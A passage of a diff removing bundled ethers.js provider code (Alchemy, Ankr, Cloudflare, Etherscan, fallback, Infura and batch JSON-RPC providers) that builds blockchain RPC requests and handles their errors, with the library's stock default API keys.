provider.connection.url.replace(/^http/i, "ws").replace(".alchemyapi.", ".ws.alchemyapi."); - super(url, provider.network); - defineReadOnly2(this, "apiKey", provider.apiKey); - } - isCommunityResource() { - return this.apiKey === defaultApiKey; - } - }; - var AlchemyProvider = class extends UrlJsonRpcProvider { - static getWebSocketProvider(network, apiKey) { - return new AlchemyWebSocketProvider(network, apiKey); - } - static getApiKey(apiKey) { - if (apiKey == null) { - return defaultApiKey; - } - if (apiKey && typeof apiKey !== "string") { - logger53.throwArgumentError("invalid apiKey", "apiKey", apiKey); - } - return apiKey; - } - static getUrl(network, apiKey) { - let host = null; - switch (network.name) { - case "homestead": - host = "eth-mainnet.alchemyapi.io/v2/"; - break; - case "goerli": - host = "eth-goerli.g.alchemy.com/v2/"; - break; - case "matic": - host = "polygon-mainnet.g.alchemy.com/v2/"; - break; - case "maticmum": - host = "polygon-mumbai.g.alchemy.com/v2/"; - break; - case "arbitrum": - host = "arb-mainnet.g.alchemy.com/v2/"; - break; - case "arbitrum-goerli": - host = "arb-goerli.g.alchemy.com/v2/"; - break; - case "optimism": - host = "opt-mainnet.g.alchemy.com/v2/"; - break; - case "optimism-goerli": - host = "opt-goerli.g.alchemy.com/v2/"; - break; - default: - logger53.throwArgumentError("unsupported network", "network", arguments[0]); - } - return { - allowGzip: true, - url: "https://" + host + apiKey, - throttleCallback: (attempt, url) => { - if (apiKey === defaultApiKey) { - showThrottleMessage(); - } - return Promise.resolve(true); - } - }; - } - isCommunityResource() { - return this.apiKey === defaultApiKey; - } - }; - - // node_modules/@ethersproject/providers/lib.esm/ankr-provider.js - var logger54 = new Logger2(version43); - var defaultApiKey2 = "9f7d929b018cdffb338517efa06f58359e86ff1ffd350bc889738523659e7972"; - function getHost(name) { - switch (name) { - case "homestead": - return "rpc.ankr.com/eth/"; - case "ropsten": - return "rpc.ankr.com/eth_ropsten/"; - case "rinkeby": - return "rpc.ankr.com/eth_rinkeby/"; - case "goerli": - return "rpc.ankr.com/eth_goerli/"; - case "matic": - return "rpc.ankr.com/polygon/"; - case "arbitrum": - return "rpc.ankr.com/arbitrum/"; - } - return logger54.throwArgumentError("unsupported network", "name", name); - } - var AnkrProvider = class extends UrlJsonRpcProvider { - isCommunityResource() { - return this.apiKey === defaultApiKey2; - } - static getApiKey(apiKey) { - if (apiKey == null) { - return defaultApiKey2; - } - return apiKey; - } - static getUrl(network, apiKey) { - if (apiKey == null) { - apiKey = defaultApiKey2; - } - const connection = { - allowGzip: true, - url: "https://" + getHost(network.name) + apiKey, - throttleCallback: (attempt, url) => { - if (apiKey.apiKey === defaultApiKey2) { - showThrottleMessage(); - } - return Promise.resolve(true); - } - }; - if (apiKey.projectSecret != null) { - connection.user = ""; - connection.password = apiKey.projectSecret; - } - return connection; - } - }; - - // node_modules/@ethersproject/providers/lib.esm/cloudflare-provider.js - var __awaiter29 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger55 = new Logger2(version43); - var CloudflareProvider = class extends UrlJsonRpcProvider { - static getApiKey(apiKey) { - if (apiKey != null) { - logger55.throwArgumentError("apiKey not supported for cloudflare", "apiKey", apiKey); - } - return null; - } - static getUrl(network, apiKey) { - let host = null; - switch (network.name) { - case "homestead": - host = "https://cloudflare-eth.com/"; - break; - default: - logger55.throwArgumentError("unsupported network", "network", arguments[0]); - } - return host; - } - perform(method, params) { - const _super = Object.create(null, { - perform: { get: () => super.perform } - }); - return __awaiter29(this, void 0, void 0, function* () { - if (method === "getBlockNumber") { - const block = yield _super.perform.call(this, "getBlock", { blockTag: "latest" }); - return block.number; - } - return _super.perform.call(this, method, params); - }); - } - }; - - // node_modules/@ethersproject/providers/lib.esm/etherscan-provider.js - var __awaiter30 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger56 = new Logger2(version43); - function getTransactionPostData(transaction) { - const result = {}; - for (let key3 in transaction) { - if (transaction[key3] == null) { - continue; - } - let value = transaction[key3]; - if (key3 === "type" && value === 0) { - continue; - } - if ({ type: true, gasLimit: true, gasPrice: true, maxFeePerGs: true, maxPriorityFeePerGas: true, nonce: true, value: true }[key3]) { - value = hexValue2(hexlify2(value)); - } else if (key3 === "accessList") { - value = "[" + accessListify2(value).map((set) => { - return `{address:"${set.address}",storageKeys:["${set.storageKeys.join('","')}"]}`; - }).join(",") + "]"; - } else { - value = hexlify2(value); - } - result[key3] = value; - } - return result; - } - function getResult3(result) { - if (result.status == 0 && (result.message === "No records found" || result.message === "No transactions found")) { - return result.result; - } - if (result.status != 1 || typeof result.message !== "string" || !result.message.match(/^OK/)) { - const error = new Error("invalid response"); - error.result = JSON.stringify(result); - if ((result.result || "").toLowerCase().indexOf("rate limit") >= 0) { - error.throttleRetry = true; - } - throw error; - } - return result.result; - } - function getJsonResult(result) { - if (result && result.status == 0 && result.message == "NOTOK" && (result.result || "").toLowerCase().indexOf("rate limit") >= 0) { - const error = new Error("throttled response"); - error.result = JSON.stringify(result); - error.throttleRetry = true; - throw error; - } - if (result.jsonrpc != "2.0") { - const error = new Error("invalid response"); - error.result = JSON.stringify(result); - throw error; - } - if (result.error) { - const error = new Error(result.error.message || "unknown error"); - if (result.error.code) { - error.code = result.error.code; - } - if (result.error.data) { - error.data = result.error.data; - } - throw error; - } - return result.result; - } - function checkLogTag(blockTag) { - if (blockTag === "pending") { - throw new Error("pending not supported"); - } - if (blockTag === "latest") { - return blockTag; - } - return parseInt(blockTag.substring(2), 16); - } - function checkError3(method, error, transaction) { - if (method === "call" && error.code === Logger2.errors.SERVER_ERROR) { - const e = error.error; - if (e && (e.message.match(/reverted/i) || e.message.match(/VM execution error/i))) { - let data = e.data; - if (data) { - data = "0x" + data.replace(/^.*0x/i, ""); - } - if (isHexString2(data)) { - return data; - } - logger56.throwError("missing revert data in call exception", Logger2.errors.CALL_EXCEPTION, { - error, - data: "0x" - }); - } - } - let message = error.message; - if (error.code === Logger2.errors.SERVER_ERROR) { - if (error.error && typeof error.error.message === "string") { - message = error.error.message; - } else if (typeof error.body === "string") { - message = error.body; - } else if (typeof error.responseText === "string") { - message = error.responseText; - } - } - message = (message || "").toLowerCase(); - if (message.match(/insufficient funds/)) { - logger56.throwError("insufficient funds for intrinsic transaction cost", Logger2.errors.INSUFFICIENT_FUNDS, { - error, - method, - transaction - }); - } - if (message.match(/same hash was already imported|transaction nonce is too low|nonce too low/)) { - logger56.throwError("nonce has already been used", Logger2.errors.NONCE_EXPIRED, { - error, - method, - transaction - }); - } - if (message.match(/another transaction with same nonce/)) { - logger56.throwError("replacement fee too low", Logger2.errors.REPLACEMENT_UNDERPRICED, { - error, - method, - transaction - }); - } - if (message.match(/execution failed due to an exception|execution reverted/)) { - logger56.throwError("cannot estimate gas; transaction may fail or may require manual gas limit", Logger2.errors.UNPREDICTABLE_GAS_LIMIT, { - error, - method, - transaction - }); - } - throw error; - } - var EtherscanProvider = class extends BaseProvider2 { - constructor(network, apiKey) { - super(network); - defineReadOnly2(this, "baseUrl", this.getBaseUrl()); - defineReadOnly2(this, "apiKey", apiKey || null); - } - getBaseUrl() { - switch (this.network ? this.network.name : "invalid") { - case "homestead": - return "https://api.etherscan.io"; - case "goerli": - return "https://api-goerli.etherscan.io"; - case "sepolia": - return "https://api-sepolia.etherscan.io"; - case "matic": - return "https://api.polygonscan.com"; - case "maticmum": - return "https://api-testnet.polygonscan.com"; - case "arbitrum": - return "https://api.arbiscan.io"; - case "arbitrum-goerli": - return "https://api-goerli.arbiscan.io"; - case "optimism": - return "https://api-optimistic.etherscan.io"; - case "optimism-goerli": - return "https://api-goerli-optimistic.etherscan.io"; - default: - } - return logger56.throwArgumentError("unsupported network", "network", this.network.name); - } - getUrl(module, params) { - const query = Object.keys(params).reduce((accum, key3) => { - const value = params[key3]; - if (value != null) { - accum += `&${key3}=${value}`; - } - return accum; - }, ""); - const apiKey = this.apiKey ? `&apikey=${this.apiKey}` : ""; - return `${this.baseUrl}/api?module=${module}${query}${apiKey}`; - } - getPostUrl() { - return `${this.baseUrl}/api`; - } - getPostData(module, params) { - params.module = module; - params.apikey = this.apiKey; - return params; - } - fetch(module, params, post2) { - return __awaiter30(this, void 0, void 0, function* () { - const url = post2 ? this.getPostUrl() : this.getUrl(module, params); - const payload = post2 ? this.getPostData(module, params) : null; - const procFunc = module === "proxy" ? getJsonResult : getResult3; - this.emit("debug", { - action: "request", - request: url, - provider: this - }); - const connection = { - url, - throttleSlotInterval: 1e3, - throttleCallback: (attempt, url2) => { - if (this.isCommunityResource()) { - showThrottleMessage(); - } - return Promise.resolve(true); - } - }; - let payloadStr = null; - if (payload) { - connection.headers = { "content-type": "application/x-www-form-urlencoded; charset=UTF-8" }; - payloadStr = Object.keys(payload).map((key3) => { - return `${key3}=${payload[key3]}`; - }).join("&"); - } - const result = yield fetchJson2(connection, payloadStr, procFunc || getJsonResult); - this.emit("debug", { - action: "response", - request: url, - response: deepCopy2(result), - provider: this - }); - return result; - }); - } - detectNetwork() { - return __awaiter30(this, void 0, void 0, function* () { - return this.network; - }); - } - perform(method, params) { - const _super = Object.create(null, { - perform: { get: () => super.perform } - }); - return __awaiter30(this, void 0, void 0, function* () { - switch (method) { - case "getBlockNumber": - return this.fetch("proxy", { action: "eth_blockNumber" }); - case "getGasPrice": - return this.fetch("proxy", { action: "eth_gasPrice" }); - case "getBalance": - return this.fetch("account", { - action: "balance", - address: params.address, - tag: params.blockTag - }); - case "getTransactionCount": - return this.fetch("proxy", { - action: "eth_getTransactionCount", - address: params.address, - tag: params.blockTag - }); - case "getCode": - return this.fetch("proxy", { - action: "eth_getCode", - address: params.address, - tag: params.blockTag - }); - case "getStorageAt": - return this.fetch("proxy", { - action: "eth_getStorageAt", - address: params.address, - position: params.position, - tag: params.blockTag - }); - case "sendTransaction": - return this.fetch("proxy", { - action: "eth_sendRawTransaction", - hex: params.signedTransaction - }, true).catch((error) => { - return checkError3("sendTransaction", error, params.signedTransaction); - }); - case "getBlock": - if (params.blockTag) { - return this.fetch("proxy", { - action: "eth_getBlockByNumber", - tag: params.blockTag, - boolean: params.includeTransactions ? "true" : "false" - }); - } - throw new Error("getBlock by blockHash not implemented"); - case "getTransaction": - return this.fetch("proxy", { - action: "eth_getTransactionByHash", - txhash: params.transactionHash - }); - case "getTransactionReceipt": - return this.fetch("proxy", { - action: "eth_getTransactionReceipt", - txhash: params.transactionHash - }); - case "call": { - if (params.blockTag !== "latest") { - throw new Error("EtherscanProvider does not support blockTag for call"); - } - const postData = getTransactionPostData(params.transaction); - postData.module = "proxy"; - postData.action = "eth_call"; - try { - return yield this.fetch("proxy", postData, true); - } catch (error) { - return checkError3("call", error, params.transaction); - } - } - case "estimateGas": { - const postData = getTransactionPostData(params.transaction); - postData.module = "proxy"; - postData.action = "eth_estimateGas"; - try { - return yield this.fetch("proxy", postData, true); - } catch (error) { - return checkError3("estimateGas", error, params.transaction); - } - } - case "getLogs": { - const args = { action: "getLogs" }; - if (params.filter.fromBlock) { - args.fromBlock = checkLogTag(params.filter.fromBlock); - } - if (params.filter.toBlock) { - args.toBlock = checkLogTag(params.filter.toBlock); - } - if (params.filter.address) { - args.address = params.filter.address; - } - if (params.filter.topics && params.filter.topics.length > 0) { - if (params.filter.topics.length > 1) { - logger56.throwError("unsupported topic count", Logger2.errors.UNSUPPORTED_OPERATION, { topics: params.filter.topics }); - } - if (params.filter.topics.length === 1) { - const topic0 = params.filter.topics[0]; - if (typeof topic0 !== "string" || topic0.length !== 66) { - logger56.throwError("unsupported topic format", Logger2.errors.UNSUPPORTED_OPERATION, { topic0 }); - } - args.topic0 = topic0; - } - } - const logs = yield this.fetch("logs", args); - let blocks = {}; - for (let i = 0; i < logs.length; i++) { - const log = logs[i]; - if (log.blockHash != null) { - continue; - } - if (blocks[log.blockNumber] == null) { - const block = yield this.getBlock(log.blockNumber); - if (block) { - blocks[log.blockNumber] = block.hash; - } - } - log.blockHash = blocks[log.blockNumber]; - } - return logs; - } - case "getEtherPrice": - if (this.network.name !== "homestead") { - return 0; - } - return parseFloat((yield this.fetch("stats", { action: "ethprice" })).ethusd); - default: - break; - } - return _super.perform.call(this, method, params); - }); - } - // Note: The `page` page parameter only allows pagination within the - // 10,000 window available without a page and offset parameter - // Error: Result window is too large, PageNo x Offset size must - // be less than or equal to 10000 - getHistory(addressOrName, startBlock, endBlock) { - return __awaiter30(this, void 0, void 0, function* () { - const params = { - action: "txlist", - address: yield this.resolveName(addressOrName), - startblock: startBlock == null ? 0 : startBlock, - endblock: endBlock == null ? 99999999 : endBlock, - sort: "asc" - }; - const result = yield this.fetch("account", params); - return result.map((tx) => { - ["contractAddress", "to"].forEach(function(key3) { - if (tx[key3] == "") { - delete tx[key3]; - } - }); - if (tx.creates == null && tx.contractAddress != null) { - tx.creates = tx.contractAddress; - } - const item = this.formatter.transactionResponse(tx); - if (tx.timeStamp) { - item.timestamp = parseInt(tx.timeStamp); - } - return item; - }); - }); - } - isCommunityResource() { - return this.apiKey == null; - } - }; - - // node_modules/@ethersproject/providers/lib.esm/fallback-provider.js - var __awaiter31 = function(thisArg, _arguments, P, generator) { - function adopt(value) { - return value instanceof P ? value : new P(function(resolve) { - resolve(value); - }); - } - return new (P || (P = Promise))(function(resolve, reject) { - function fulfilled(value) { - try { - step(generator.next(value)); - } catch (e) { - reject(e); - } - } - function rejected(value) { - try { - step(generator["throw"](value)); - } catch (e) { - reject(e); - } - } - function step(result) { - result.done ? resolve(result.value) : adopt(result.value).then(fulfilled, rejected); - } - step((generator = generator.apply(thisArg, _arguments || [])).next()); - }); - }; - var logger57 = new Logger2(version43); - function now() { - return (/* @__PURE__ */ new Date()).getTime(); - } - function checkNetworks(networks3) { - let result = null; - for (let i = 0; i < networks3.length; i++) { - const network = networks3[i]; - if (network == null) { - return null; - } - if (result) { - if (!(result.name === network.name && result.chainId === network.chainId && (result.ensAddress === network.ensAddress || result.ensAddress == null && network.ensAddress == null))) { - logger57.throwArgumentError("provider mismatch", "networks", networks3); - } - } else { - result = network; - } - } - return result; - } - function median(values, maxDelta) { - values = values.slice().sort(); - const middle = Math.floor(values.length / 2); - if (values.length % 2) { - return values[middle]; - } - const a = values[middle - 1], b = values[middle]; - if (maxDelta != null && Math.abs(a - b) > maxDelta) { - return null; - } - return (a + b) / 2; - } - function serialize2(value) { - if (value === null) { - return "null"; - } else if (typeof value === "number" || typeof value === "boolean") { - return JSON.stringify(value); - } else if (typeof value === "string") { - return value; - } else if (BigNumber2.isBigNumber(value)) { - return value.toString(); - } else if (Array.isArray(value)) { - return JSON.stringify(value.map((i) => serialize2(i))); - } else if (typeof value === "object") { - const keys = Object.keys(value); - keys.sort(); - return "{" + keys.map((key3) => { - let v = value[key3]; - if (typeof v === "function") { - v = "[function]"; - } else { - v = serialize2(v); - } - return JSON.stringify(key3) + ":" + v; - }).join(",") + "}"; - } - throw new Error("unknown value type: " + typeof value); - } - var nextRid = 1; - function stall3(duration) { - let cancel = null; - let timer3 = null; - let promise = new Promise((resolve) => { - cancel = function() { - if (timer3) { - clearTimeout(timer3); - timer3 = null; - } - resolve(); - }; - timer3 = setTimeout(cancel, duration); - }); - const wait = (func) => { - promise = promise.then(func); - return promise; - }; - function getPromise() { - return promise; - } - return { cancel, getPromise, wait }; - } - var ForwardErrors = [ - Logger2.errors.CALL_EXCEPTION, - Logger2.errors.INSUFFICIENT_FUNDS, - Logger2.errors.NONCE_EXPIRED, - Logger2.errors.REPLACEMENT_UNDERPRICED, - Logger2.errors.UNPREDICTABLE_GAS_LIMIT - ]; - var ForwardProperties = [ - "address", - "args", - "errorArgs", - "errorSignature", - "method", - "transaction" - ]; - function exposeDebugConfig(config, now2) { - const result = { - weight: config.weight - }; - Object.defineProperty(result, "provider", { get: () => config.provider }); - if (config.start) { - result.start = config.start; - } - if (now2) { - result.duration = now2 - config.start; - } - if (config.done) { - if (config.error) { - result.error = config.error; - } else { - result.result = config.result || null; - } - } - return result; - } - function normalizedTally(normalize3, quorum) { - return function(configs) { - const tally = {}; - configs.forEach((c) => { - const value = normalize3(c.result); - if (!tally[value]) { - tally[value] = { count: 0, result: c.result }; - } - tally[value].count++; - }); - const keys = Object.keys(tally); - for (let i = 0; i < keys.length; i++) { - const check = tally[keys[i]]; - if (check.count >= quorum) { - return check.result; - } - } - return void 0; - }; - } - function getProcessFunc(provider, method, params) { - let normalize3 = serialize2; - switch (method) { - case "getBlockNumber": - return function(configs) { - const values = configs.map((c) => c.result); - let blockNumber = median(configs.map((c) => c.result), 2); - if (blockNumber == null) { - return void 0; - } - blockNumber = Math.ceil(blockNumber); - if (values.indexOf(blockNumber + 1) >= 0) { - blockNumber++; - } - if (blockNumber >= provider._highestBlockNumber) { - provider._highestBlockNumber = blockNumber; - } - return provider._highestBlockNumber; - }; - case "getGasPrice": - return function(configs) { - const values = configs.map((c) => c.result); - values.sort(); - return values[Math.floor(values.length / 2)]; - }; - case "getEtherPrice": - return function(configs) { - return median(configs.map((c) => c.result)); - }; - case "getBalance": - case "getTransactionCount": - case "getCode": - case "getStorageAt": - case "call": - case "estimateGas": - case "getLogs": - break; - case "getTransaction": - case "getTransactionReceipt": - normalize3 = function(tx) { - if (tx == null) { - return null; - } - tx = shallowCopy2(tx); - tx.confirmations = -1; - return serialize2(tx); - }; - break; - case "getBlock": - if (params.includeTransactions) { - normalize3 = function(block) { - if (block == null) { - return null; - } - block = shallowCopy2(block); - block.transactions = block.transactions.map((tx) => { - tx = shallowCopy2(tx); - tx.confirmations = -1; - return tx; - }); - return serialize2(block); - }; - } else { - normalize3 = function(block) { - if (block == null) { - return null; - } - return serialize2(block); - }; - } - break; - default: - throw new Error("unknown method: " + method); - } - return normalizedTally(normalize3, provider.quorum); - } - function waitForSync(config, blockNumber) { - return __awaiter31(this, void 0, void 0, function* () { - const provider = config.provider; - if (provider.blockNumber != null && provider.blockNumber >= blockNumber || blockNumber === -1) { - return provider; - } - return poll2(() => { - return new Promise((resolve, reject) => { - setTimeout(function() { - if (provider.blockNumber >= blockNumber) { - return resolve(provider); - } - if (config.cancelled) { - return resolve(null); - } - return resolve(void 0); - }, 0); - }); - }, { oncePoll: provider }); - }); - } - function getRunner(config, currentBlockNumber, method, params) { - return __awaiter31(this, void 0, void 0, function* () { - let provider = config.provider; - switch (method) { - case "getBlockNumber": - case "getGasPrice": - return provider[method](); - case "getEtherPrice": - if (provider.getEtherPrice) { - return provider.getEtherPrice(); - } - break; - case "getBalance": - case "getTransactionCount": - case "getCode": - if (params.blockTag && isHexString2(params.blockTag)) { - provider = yield waitForSync(config, currentBlockNumber); - } - return provider[method](params.address, params.blockTag || "latest"); - case "getStorageAt": - if (params.blockTag && isHexString2(params.blockTag)) { - provider = yield waitForSync(config, currentBlockNumber); - } - return provider.getStorageAt(params.address, params.position, params.blockTag || "latest"); - case "getBlock": - if (params.blockTag && isHexString2(params.blockTag)) { - provider = yield waitForSync(config, currentBlockNumber); - } - return provider[params.includeTransactions ? "getBlockWithTransactions" : "getBlock"](params.blockTag || params.blockHash); - case "call": - case "estimateGas": - if (params.blockTag && isHexString2(params.blockTag)) { - provider = yield waitForSync(config, currentBlockNumber); - } - if (method === "call" && params.blockTag) { - return provider[method](params.transaction, params.blockTag); - } - return provider[method](params.transaction); - case "getTransaction": - case "getTransactionReceipt": - return provider[method](params.transactionHash); - case "getLogs": { - let filter2 = params.filter; - if (filter2.fromBlock && isHexString2(filter2.fromBlock) || filter2.toBlock && isHexString2(filter2.toBlock)) { - provider = yield waitForSync(config, currentBlockNumber); - } - return provider.getLogs(filter2); - } - } - return logger57.throwError("unknown method error", Logger2.errors.UNKNOWN_ERROR, { - method, - params - }); - }); - } - var FallbackProvider = class extends BaseProvider2 { - constructor(providers, quorum) { - if (providers.length === 0) { - logger57.throwArgumentError("missing providers", "providers", providers); - } - const providerConfigs = providers.map((configOrProvider, index2) => { - if (Provider2.isProvider(configOrProvider)) { - const stallTimeout = isCommunityResource(configOrProvider) ? 2e3 : 750; - const priority = 1; - return Object.freeze({ provider: configOrProvider, weight: 1, stallTimeout, priority }); - } - const config = shallowCopy2(configOrProvider); - if (config.priority == null) { - config.priority = 1; - } - if (config.stallTimeout == null) { - config.stallTimeout = isCommunityResource(configOrProvider) ? 2e3 : 750; - } - if (config.weight == null) { - config.weight = 1; - } - const weight = config.weight; - if (weight % 1 || weight > 512 || weight < 1) { - logger57.throwArgumentError("invalid weight; must be integer in [1, 512]", `providers[${index2}].weight`, weight); - } - return Object.freeze(config); - }); - const total = providerConfigs.reduce((accum, c) => accum + c.weight, 0); - if (quorum == null) { - quorum = total / 2; - } else if (quorum > total) { - logger57.throwArgumentError("quorum will always fail; larger than total weight", "quorum", quorum); - } - let networkOrReady = checkNetworks(providerConfigs.map((c) => c.provider.network)); - if (networkOrReady == null) { - networkOrReady = new Promise((resolve, reject) => { - setTimeout(() => { - this.detectNetwork().then(resolve, reject); - }, 0); - }); - } - super(networkOrReady); - defineReadOnly2(this, "providerConfigs", Object.freeze(providerConfigs)); - defineReadOnly2(this, "quorum", quorum); - this._highestBlockNumber = -1; - } - detectNetwork() { - return __awaiter31(this, void 0, void 0, function* () { - const networks3 = yield Promise.all(this.providerConfigs.map((c) => c.provider.getNetwork())); - return checkNetworks(networks3); - }); - } - perform(method, params) { - return __awaiter31(this, void 0, void 0, function* () { - if (method === "sendTransaction") { - const results = yield Promise.all(this.providerConfigs.map((c) => { - return c.provider.sendTransaction(params.signedTransaction).then((result) => { - return result.hash; - }, (error) => { - return error; - }); - })); - for (let i2 = 0; i2 < results.length; i2++) { - const result = results[i2]; - if (typeof result === "string") { - return result; - } - } - throw results[0]; - } - if (this._highestBlockNumber === -1 && method !== "getBlockNumber") { - yield this.getBlockNumber(); - } - const processFunc = getProcessFunc(this, method, params); - const configs = shuffled(this.providerConfigs.map(shallowCopy2)); - configs.sort((a, b) => a.priority - b.priority); - const currentBlockNumber = this._highestBlockNumber; - let i = 0; - let first = true; - while (true) { - const t0 = now(); - let inflightWeight = configs.filter((c) => c.runner && t0 - c.start < c.stallTimeout).reduce((accum, c) => accum + c.weight, 0); - while (inflightWeight < this.quorum && i < configs.length) { - const config = configs[i++]; - const rid = nextRid++; - config.start = now(); - config.staller = stall3(config.stallTimeout); - config.staller.wait(() => { - config.staller = null; - }); - config.runner = getRunner(config, currentBlockNumber, method, params).then((result) => { - config.done = true; - config.result = result; - if (this.listenerCount("debug")) { - this.emit("debug", { - action: "request", - rid, - backend: exposeDebugConfig(config, now()), - request: { method, params: deepCopy2(params) }, - provider: this - }); - } - }, (error) => { - config.done = true; - config.error = error; - if (this.listenerCount("debug")) { - this.emit("debug", { - action: "request", - rid, - backend: exposeDebugConfig(config, now()), - request: { method, params: deepCopy2(params) }, - provider: this - }); - } - }); - if (this.listenerCount("debug")) { - this.emit("debug", { - action: "request", - rid, - backend: exposeDebugConfig(config, null), - request: { method, params: deepCopy2(params) }, - provider: this - }); - } - inflightWeight += config.weight; - } - const waiting = []; - configs.forEach((c) => { - if (c.done || !c.runner) { - return; - } - waiting.push(c.runner); - if (c.staller) { - waiting.push(c.staller.getPromise()); - } - }); - if (waiting.length) { - yield Promise.race(waiting); - } - const results = configs.filter((c) => c.done && c.error == null); - if (results.length >= this.quorum) { - const result = processFunc(results); - if (result !== void 0) { - configs.forEach((c) => { - if (c.staller) { - c.staller.cancel(); - } - c.cancelled = true; - }); - return result; - } - if (!first) { - yield stall3(100).getPromise(); - } - first = false; - } - const errors = configs.reduce((accum, c) => { - if (!c.done || c.error == null) { - return accum; - } - const code = c.error.code; - if (ForwardErrors.indexOf(code) >= 0) { - if (!accum[code]) { - accum[code] = { error: c.error, weight: 0 }; - } - accum[code].weight += c.weight; - } - return accum; - }, {}); - Object.keys(errors).forEach((errorCode) => { - const tally = errors[errorCode]; - if (tally.weight < this.quorum) { - return; - } - configs.forEach((c) => { - if (c.staller) { - c.staller.cancel(); - } - c.cancelled = true; - }); - const e = tally.error; - const props = {}; - ForwardProperties.forEach((name) => { - if (e[name] == null) { - return; - } - props[name] = e[name]; - }); - logger57.throwError(e.reason || e.message, errorCode, props); - }); - if (configs.filter((c) => !c.done).length === 0) { - break; - } - } - configs.forEach((c) => { - if (c.staller) { - c.staller.cancel(); - } - c.cancelled = true; - }); - return logger57.throwError("failed to meet quorum", Logger2.errors.SERVER_ERROR, { - method, - params, - //results: configs.map((c) => c.result), - //errors: configs.map((c) => c.error), - results: configs.map((c) => exposeDebugConfig(c)), - provider: this - }); - }); - } - }; - - // node_modules/@ethersproject/providers/lib.esm/ipc-provider.js - var IpcProvider = null; - - // node_modules/@ethersproject/providers/lib.esm/infura-provider.js - var logger58 = new Logger2(version43); - var defaultProjectId = "84842078b09946638c03157f83405213"; - var InfuraWebSocketProvider = class extends WebSocketProvider { - constructor(network, apiKey) { - const provider = new InfuraProvider(network, apiKey); - const connection = provider.connection; - if (connection.password) { - logger58.throwError("INFURA WebSocket project secrets unsupported", Logger2.errors.UNSUPPORTED_OPERATION, { - operation: "InfuraProvider.getWebSocketProvider()" - }); - } - const url = connection.url.replace(/^http/i, "ws").replace("/v3/", "/ws/v3/"); - super(url, network); - defineReadOnly2(this, "apiKey", provider.projectId); - defineReadOnly2(this, "projectId", provider.projectId); - defineReadOnly2(this, "projectSecret", provider.projectSecret); - } - isCommunityResource() { - return this.projectId === defaultProjectId; - } - }; - var InfuraProvider = class extends UrlJsonRpcProvider { - static getWebSocketProvider(network, apiKey) { - return new InfuraWebSocketProvider(network, apiKey); - } - static getApiKey(apiKey) { - const apiKeyObj = { - apiKey: defaultProjectId, - projectId: defaultProjectId, - projectSecret: null - }; - if (apiKey == null) { - return apiKeyObj; - } - if (typeof apiKey === "string") { - apiKeyObj.projectId = apiKey; - } else if (apiKey.projectSecret != null) { - logger58.assertArgument(typeof apiKey.projectId === "string", "projectSecret requires a projectId", "projectId", apiKey.projectId); - logger58.assertArgument(typeof apiKey.projectSecret === "string", "invalid projectSecret", "projectSecret", "[REDACTED]"); - apiKeyObj.projectId = apiKey.projectId; - apiKeyObj.projectSecret = apiKey.projectSecret; - } else if (apiKey.projectId) { - apiKeyObj.projectId = apiKey.projectId; - } - apiKeyObj.apiKey = apiKeyObj.projectId; - return apiKeyObj; - } - static getUrl(network, apiKey) { - let host = null; - switch (network ? network.name : "unknown") { - case "homestead": - host = "mainnet.infura.io"; - break; - case "goerli": - host = "goerli.infura.io"; - break; - case "sepolia": - host = "sepolia.infura.io"; - break; - case "matic": - host = "polygon-mainnet.infura.io"; - break; - case "maticmum": - host = "polygon-mumbai.infura.io"; - break; - case "optimism": - host = "optimism-mainnet.infura.io"; - break; - case "optimism-goerli": - host = "optimism-goerli.infura.io"; - break; - case "arbitrum": - host = "arbitrum-mainnet.infura.io"; - break; - case "arbitrum-goerli": - host = "arbitrum-goerli.infura.io"; - break; - default: - logger58.throwError("unsupported network", Logger2.errors.INVALID_ARGUMENT, { - argument: "network", - value: network - }); - } - const connection = { - allowGzip: true, - url: "https://" + host + "/v3/" + apiKey.projectId, - throttleCallback: (attempt, url) => { - if (apiKey.projectId === defaultProjectId) { - showThrottleMessage(); - } - return Promise.resolve(true); - } - }; - if (apiKey.projectSecret != null) { - connection.user = ""; - connection.password = apiKey.projectSecret; - } - return connection; - } - isCommunityResource() { - return this.projectId === defaultProjectId; - } - }; - - // node_modules/@ethersproject/providers/lib.esm/json-rpc-batch-provider.js - var JsonRpcBatchProvider = class extends JsonRpcProvider2 { - send(method, params) { - const request = { - method, - params, - id: this._nextId++, - jsonrpc: "2.0" - }; - if (this._pendingBatch == null) { - this._pendingBatch = []; - } - const inflightRequest = { request, resolve: null, reject: null }; - const promise = new Promise((resolve, reject) => { - inflightRequest.resolve = resolve; - inflightRequest.reject = reject; - }); - this._pendingBatch.push(inflightRequest); - if (!this._pendingBatchAggregator) { - this._pendingBatchAggregator = setTimeout(() => { - const batch = this._pendingBatch; - this._pendingBatch = null; - this._pendingBatchAggregator = null; - const request2 = batch.map((inflight) => inflight.request); - this.emit("debug", { - action: "requestBatch", - request: deepCopy2(request2), - provider: this - }); - return fetchJson2(this.connection, JSON.stringify(request2)).then((result) => { - this.emit("debug", { - action: "response", - request: request2, - response: result, - provider: this - }); - batch.forEach((inflightRequest2, index2) => { - const payload = result[index2]; - if (payload.error) { - const error = new Error(payload.error.message); - error.code = payload.error.code; - error.data = payload.error.data; - inflightRequest2.reject(error); - } else { - inflightRequest2.resolve(payload.result); - } - }); - }, (error) => { - this.emit("debug", { - action: "response", - error, - request: request2, - provider: this - }); - batch.forEach((inflightRequest2) => { - inflightRequest2.reject(error); - }); - }); - }, 10); - } - return promise; - } - }; - - // node_modules/@ethersproject/providers/lib.esm/nodesmith-provider.js - var logger59 = new Logger2(version43); - var defaultApiKey3 = "ETHERS_JS_SHARED"; - var NodesmithProvider = class extends UrlJsonRpcProvider { - static getApiKey(apiKey) { - if (apiKey && 